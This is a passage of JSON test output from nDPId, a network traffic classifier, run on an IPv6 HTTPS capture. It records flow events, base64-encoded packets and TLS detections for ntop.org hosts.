CN=shop.ntop.org","alpn":"http\/1.1,spdy\/3.1,h2-14,h2","fingerprint":"FB:A6:FF:A7:58:F3:9D:54:24:45:E5:A0:C4:04:18:D5:58:91:E0:34"}} +00458{"flow_id":8,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":132,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269139,"pkt_ts_usec":267465,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABknYBuw4c9a905UJXgBABO2sSAAABAQgKEg131ABerY4="} +00630{"flow_id":8,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269139,"pkt_ts_usec":268658,"pkt_caplen":212,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":212,"pkt_l4_len":158,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAJ4GQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABknYBuw4c9a905UJXgBgBO2uQAAABAQgKEg131ABerY4WAwMARhAAAEJBBJzPR2sM7OXWdxxTH8ExN47HkmvsmfbFKoKpWKuQbAgx16wrf2Ju0jo7UKJ4ey27iDy9z0akfx+6qqHS0YZyK\/MUAwMAAQEWAwMAKAAAAAAAAAAAVYNTEifBKSPslrliap2MBJ4eUNQS6r3F5g0RZT2LNnM="} +00829{"flow_id":8,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":134,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269139,"pkt_ts_usec":290633,"pkt_caplen":360,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":360,"pkt_l4_len":306,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAATIGNyoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSdnTlQlcOHPYtgBgAdCYUAAABAQgKAF6tlBINd9QWAwMA2gQAANYAAAEsANDvs7P+YV2DQXBR8VMRR3R32JsXZKQkGVMRBICFQu21kmwsUFbQ4fWFEWniUJQ1U5Ndjg3zAKrWb+Xo64MaD9i4KF18Y58k0uqRdFnrY7SfNc3skH1KszimnYvY7GZaehYi\/O8Dp9uxj18b58fTf4imGbk9R14dKUOK+lbCmVGaj\/amG7vnxb17jKw3vP9B6TUc1IqNvMfuLr8tfNwVA0O7GNYD3XVbD7MXao09q\/SvVaO3XO5Z4rQfLdFiLMs9SBSTuY9JlPaSwHcbvTLJDwv6FAMDAAEBFgMDACgsEaR9WDcIXZeWNgvSMO7Uz+Mu+b6EsYO33vgkZDfPmJ9HXC947vcV"} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":135,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1448269139314,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a02:26f0:ad:1a1::eed","src_port":60124,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269139,"pkt_ts_usec":314022,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqAibwAK0BoQAAAAAAAA7t6twBuwxnksLpg7gmgBABC+E3AAABAQgKEg134BvnLVo="} +00459{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269139,"pkt_ts_usec":321037,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACAGOyoCJvAArQGhAAAAAAAADu0qAA1AAAEAA3qswP\/+pw1MAbvq3OmDuCYMZ5LDgBAD0zk\/AAABAQgKG+fdWhINH94="} +00518{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":140,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1448269143410,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a03:2880:1010:3f20:face:b00c::25de","src_port":40308,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00459{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269143,"pkt_ts_usec":410021,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqAyiAEBA\/IPrOsAwAACXenXQBu97bCAR6JAzggBADIfF3AAABAQgKEg174HFvpAM="} +00460{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269143,"pkt_ts_usec":539406,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"eKzApw1M9LUv\/K\/Cht1gwAAAACAGKyoDKIAQED8g+s6wDAAAJd4qAA1AAAEAA3qswP\/+pw1MAbuddHokDODe2wgFgBAAa0\/sAAABAQgKcXBUrRINT9U="} +00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":142,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1448269144306,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a00:1450:400b:c02::9a","src_port":33062,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269144,"pkt_ts_usec":306064,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqABRQQAsMAgAAAAAAAACagSYBu7SkSa3RTHVvgBABRwoCAAABAQgKEg18wD9sNbI="} +00459{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":143,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269144,"pkt_ts_usec":348055,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACAGNSoAFFBACwwCAAAAAAAAAJoqAA1AAAEAA3qswP\/+pw1MAbuBJtFMdW+0pEmugBABd0eeAAABAQgKP2zlshINJLA="} +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":144,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1448269144450,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a03:b0c0:3:d0::70:1001","src_port":37506,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269144,"pkt_ts_usec":450926,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACgGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABkoIBuwefNhUAAAAAoAJwgGsaAAACBAWgBAIIChINfOQAAAAAAQMDBw=="} +00471{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269144,"pkt_ts_usec":475600,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACgGNyoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSgnjE+S8HnzYWoBJvkOerAAACBAWgBAIICgBesqQSDXzkAQMDCA=="} +00458{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269144,"pkt_ts_usec":475660,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABkoIBuwefNhZ4xPkwgBAA4WsSAAABAQgKEg186gBesqQ="} +00746{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269144,"pkt_ts_usec":475880,"pkt_caplen":298,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":298,"pkt_l4_len":244,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAPQGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABkoIBuwefNhZ4xPkwgBgA4WvmAAABAQgKEg186gBesqQWAwEAzwEAAMsDA4LVJCHbKPrRWLN7cMDCu4vR3mRdCUE46R109x1CWpcaAAAgzBTME8wVwCvALwCewArAFAA5wAnAEwAzAJwANQAvAAoBAACC\/wEAAQAAAAARAA8AAAx3d3cubnRvcC5vcmcAFwAAACMAAAANABYAFAYBBgMFAQUDBAEEAwMBAwMCAQIDAAUABQEAAAAAM3QAAAASAAAAEAAdABsIaHR0cC8xLjEIc3BkeS8zLjEFaDItMTQCaDJ1UAAAAAsAAgEAAAoABgAEABcAGA=="} +00767{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":147,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":4,"flow_first_seen":1448269144450,"flow_last_seen":1448269144475,"flow_tot_l4_data_len":356,"flow_min_l4_data_len":32,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a03:b0c0:3:d0::70:1001","src_port":37506,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","ja3":"d3e627f423a33ea41841c19b8af79293","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1,spdy\/3.1,h2-14,h2"}} +00459{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269144,"pkt_ts_usec":500458,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACAGNyoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSgnjE+TAHnzbqgBAAdIShAAABAQgKAF6yqhINfOo="} +02385{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269144,"pkt_ts_usec":502317,"pkt_caplen":1514,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1514,"pkt_l4_len":1460,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAABbQGNyoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSgnjE+TAHnzbqgBAAdDDbAAABAQgKAF6yqxINfOoVAwMAAgFwFgMDAEECAAA9AwMAjdo8TPv62Bn8h6jKQAFFTlSb\/Sp7gGn8tQgcYd8DNADALwAAFQAAAAD\/AQABAAALAAQDAAECACMAABYDAxDjCwAQ3wAQ3AAFTzCCBUswggQzoAMCAQICEGlwh8ZXzEdaqUNvI9+NN8MwDQYJKoZIhvcNAQELBQAwgZAxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMTYwNAYDVQQDEy1DT01PRE8gUlNBIERvbWFpbiBWYWxpZGF0aW9uIFNlY3VyZSBTZXJ2ZXIgQ0EwHhcNMTUxMTE1MDAwMDAwWhcNMTgxMTE0MjM1OTU5WjBRMSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxFDASBgNVBAsTC1Bvc2l0aXZlU1NMMRYwFAYDVQQDEw1zaG9wLm50b3Aub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzR6BIHt+rHaCaBL\/qKK36Y6zgLZa7uQ42uYff0TmO+nrjezjVzokWSc+b7XT8xiQLH5AkqJ9Lf\/\/NeqkB1fm7\/K3k27TQzmGn0gZ\/gjZ0up1RGHlcWqkmBgu1hm4kF0hAptThu\/QQTHz6OE2C2JERem\/TCFrM+LeqAlRcK\/9iYu2odCWrMkYWJu1Zur8eL0LtVyxc3kqCMWwu7at46P1qNP8vTbSQDxFLJTvozfhfIr+zQT412txGL1UCyQye5MRn5Abou0RkIjFXoM+zdLQQC3yVy\/Jd1s9wnLEcoBoeKxiqK5BJxLO\/3yH8uWwyg8YUFbd5+1cgJHdZ69cFgM4ZwIDAQABo4IB3TCCAdkwHwYDVR0jBBgwFoAUkK9qOpRaC9iQ6hJWc99DtDoo2ucwHQYDVR0OBBYEFJAVUwm3FdB8i+jm6lJjVmDmcoYFMA4GA1UdDwEB\/wQEAwIFoDAMBgNVHRMBAf8EAjAAMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBPBgNVHSAESDBGMDoGCysGAQQBsjEBAgIHMCswKQYIKwYBBQUHAgEWHWh0dHBzOi8vc2VjdXJlLmNvbW9kby5jb20vQ1BTMAgGBmeBDAECATBUBgNVHR8ETTBLMEmgR6BFhkNodHRwOi8vY3JsLmNvbW9kb2NhLmNvbS9DT01PRE9SU0FEb21haW5WYWxpZGF0aW9uU2VjdXJlU2VydmVyQ0EuY3JsMIGFBggrBgEFBQcBAQR5MHcwTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jcnQuY29tb2RvY2EuY29tL0NPTU9ET1JTQURvbWFpblZhbGlkYXRpb25TZWN1cmVTZXJ2ZXJDQS5jcnQwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmNvbW9kb2NhLmNvbTArBgNVHREEJDAigg1zaG9wLm50b3Aub3JnghF3d3cuc2hvcC5udG9wLm9yZzANBgkqhkiG9w0BAQsFAAOCAQEABHga0CoUddKc8gTKl8pscY7onSvxASeGg6n14z8FhR2xLi3sQM93tAHGjfXnqbvor3abNIZbNbF0KzRdqJu4Pf8lRVflEivDChvy3JGmTgemN9zWuDPZ57rHKIP2WX88hJ\/PhjhgpWwDlVARS9gLCvB+ao\/MqFUPnRHIB\/ozv+GFroJaou2ptXCVpGzEcU5eeKmEk7EDV1FIeaLukxlf2pdWAhu92nfkdMVk7CEaYe2jnnRpGgH3FSI7e35KuJ6qcNoKFw3CRdQMfoBimHtdql+6OuUlCrOYGYcfLlT2dHNLRy5B10L6oRI="} +00824{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":149,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":6,"flow_first_seen":1448269144450,"flow_last_seen":1448269144502,"flow_tot_l4_data_len":1848,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a03:b0c0:3:d0::70:1001","src_port":37506,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","ja3":"d3e627f423a33ea41841c19b8af79293","ja3s":"389ed42c02ebecc32e73aa31def07e14","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1,spdy\/3.1,h2-14,h2"}} +00458{"flow_id":12,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269144,"pkt_ts_usec":502346,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABkoIBuwefNup4xP7EgBAA+GsSAAABAQgKEg188QBesqs="} +02375{"flow_id":12,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269144,"pkt_ts_usec":502370,"pkt_caplen":1514,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1514,"pkt_l4_len":1460,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAABbQGNyoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSgnjE\/sQHnzbqgBAAdMGsAAABAQgKAF6yqxINfOoa7lRZZvgTMcu9Q3ViDTlQU1VpfPinQgAGDDCCBggwggPwoAMCAQICECsuburZdTZsFIpu26N8jAcwDQYJKoZIhvcNAQEMBQAwgYUxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMSswKQYDVQQDEyJDT01PRE8gUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTE0MDIxMjAwMDAwMFoXDTI5MDIxMTIzNTk1OVowgZAxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMTYwNAYDVQQDEy1DT01PRE8gUlNBIERvbWFpbiBWYWxpZGF0aW9uIFNlY3VyZSBTZXJ2ZXIgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCOwgIZ4aBZpOs4NY0s\/QHQ00nAZMcLYgVFFjqooMAMAn8dzNvEoW13A6MPhvnjBpw+C4GKm0kbrQO++kvbjCDt1c5eZY4+Da9MwrC3RV5SLzTeSCRktEGuAJf3vmfentB6p1OAO3yt9ZZVb5dHCnyFiyKXjbOE4JZX0HAYYJaP7i0Hk52husrRzXvpxCqaKCGRTW+STyWl8no13SbcRqXQrFk1jP9OkUNQP1mTHmxRIe5YFKv+dVB4PkywHIYT+muYvOA7lB6FUtwDkyQYbssnUUXmcN4lQ6QN4Uql7bZ+yM1t7i4dJ3Nd3EUwgKrjskELr71Eh9q55Rudf67lhYKlAgMBAAGjggFlMIIBYTAfBgNVHSMEGDAWgBS7r34CPfqm8TyEjq3uOJjs2TIy1DAdBgNVHQ4EFgQUkK9qOpRaC9iQ6hJWc99DtDoo2ucwDgYDVR0PAQH\/BAQDAgGGMBIGA1UdEwEB\/wQIMAYBAf8CAQAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBsGA1UdIAQUMBIwBgYEVR0gADAIBgZngQwBAgEwTAYDVR0fBEUwQzBBoD+gPYY7aHR0cDovL2NybC5jb21vZG9jYS5jb20vQ09NT0RPUlNBQ2VydGlmaWNhdGlvbkF1dGhvcml0eS5jcmwwcQYIKwYBBQUHAQEEZTBjMDsGCCsGAQUFBzAChi9odHRwOi8vY3J0LmNvbW9kb2NhLmNvbS9DT01PRE9SU0FBZGRUcnVzdENBLmNydDAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuY29tb2RvY2EuY29tMA0GCSqGSIb3DQEBDAUAA4ICAQBOK3ZPkhxiNom6d8EnBfQc1kSdqZo+qtVmZgE+6knmojW8+vbdlY6ZNZgONhh1sd3dUHJ8rtx3iM4P95AgyqNnLh9Wf3vhROpClcRdDQFQRhXygYlZbIrdjPESoY06QoqY+Es0eyc7CLRvJDtynWN0WDwabD9PxxGayKj1tTfvEEXGbNngXpUms+uto7nufwyaZjVzMmBO5d2KYSxuUhF3aJbTGHVRFQAbdIjd4cc4BEMo6Rb92QXUXUcnYNb7ODtscqKU+EIa3+1vBoxFwgYAquTo3Nm14XN47PYj3NHdbI4aj6XqVHyWt8P+VY6NSV78ZLvPPr2W62nNv+BI8WKCEOUMRlfyM9rQyGPtxh+UBZZKGpHR9+vPj1KuDQjZPqigUenBh3TVyfd0qy5T+7t6+5fi+B8mj7PSoOA3Wyg7MeUOVy1auK15rF4gZhqluaa1OcH1mEP\/7vmnp\/3uyiQ9gBbEF4+KwWChDK5bQ0c="} +00458{"flow_id":12,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269144,"pkt_ts_usec":502387,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABkoIBuwefNup4xQRYgBABDmsSAAABAQgKEg188QBesqs="} +02136{"flow_id":12,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269144,"pkt_ts_usec":502424,"pkt_caplen":1326,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1326,"pkt_l4_len":1272,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAABPgGNyoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSgnjFBFgHnzbqgBgAdGfrAAABAQgKAF6yqxINfOqRS9WaF1\/51IfBwoy35+IPMBk3hqzg3EID5pSona79DyRRlM6SCNH8UPADQHuIWe0O3azSd4I03AaVAtiQ+S3qN9UaYNBnINfYQgtFr4Jo3t1mJDeQKZQZRhkluIDXy9SGKGpEcCYjYqmfhm+\/upBw0lZ3hXjv6iWpF85QcowAOqrj22M0n\/gGcQHigiDU\/m+9sQAFeDCCBXQwggRcoAMCAQICECdm7lbrSfOOq9dwovyE3iIwDQYJKoZIhvcNAQEMBQAwbzELMAkGA1UEBhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMSYwJAYDVQQLEx1BZGRUcnVzdCBFeHRlcm5hbCBUVFAgTmV0d29yazEiMCAGA1UEAxMZQWRkVHJ1c3QgRXh0ZXJuYWwgQ0EgUm9vdDAeFw0wMDA1MzAxMDQ4MzhaFw0yMDA1MzAxMDQ4MzhaMIGFMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01PRE8gQ0EgTGltaXRlZDErMCkGA1UEAxMiQ09NT0RPIFJTQSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJHoVJLSClaxrA0k3cXPRGd0mSs3o30jcABxvFPfxPoqEo9LfxBWvZ9wcrdhf8lLDxenPeOwBGHu\/xGXx\/SGPgr6Plz5k+Y0etkUa+ecs4Wggnp2r3GQ1+z9DfqcbPrfsIL0FH75vsSmL09\/mX+1\/GdDcr0MANaJ62ss0+2PmBwUq37l42782KjkkiTaQ2tiuFX96sG8bLaL8w6NmuSbbGmZ+HhIMEXVreENPEVg\/DKWUSe8Z8PKLrZr6kbHxyCgsR9l3kgIuqROqfKDRjeE6+jMgUhDZ05yKptcvUwbKIpcInu0q5jZ7uBRg8MJRk5tPpn6lRfafDNXQTyNUe0LtlyvLGMa31fIP7zpXcSbr0WZ4qNaJLS6qVY9z2+q\/0lYvvCo\/\/S4rek3+7q49As6+ehDQh6J2ITLE\/HZu+GJYLiMKFasFB2cCudx688O3T2plqFIvTz3r7UNIkzAEYHsVjv206LiW7eyBCJSlYCTaeiOTGXxkQMtcHQC6otnFSlpUgK7199QalVGv6CjKGF\/cNDDoqosIapHziicBkV2v4IYJ7TVrrTLUOZr9EyGcTDppt8WhuDY\/0Dd+9BCiH+jMzouXB5BEYFjzhhxayvspoq3MVw6akfgw3lZ1iAar\/JqmKpyvFdK0kuduxD8sExB5e0dPV4onZzMv7NR2qdH5YRTAgMBAAGjgfQwgfEwHwYDVR0jBBgwFoAUrb2YejS0Jvf6xCZU7wO94CTLVBowHQYDVR0OBBYEFLuvfgI9+qbxPISOre44mOzZMjLUMA4GA1UdDwEB\/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH\/MBEGA1UdIAQKMAgwBgYEVR0gADBEBgNVHR8EPTA7MDmgN6A1hjNodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vQWRkVHJ1c3RFeHRlcm5hbENBUm9vdC5jcmwwNQYIKwYBBQUHAQEEKTAnMCUGCCsG"} +00459{"flow_id":12,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269144,"pkt_ts_usec":502441,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABkoIBuwefNup4xQkwgBABJGsSAAABAQgKEg188QBesqs="} 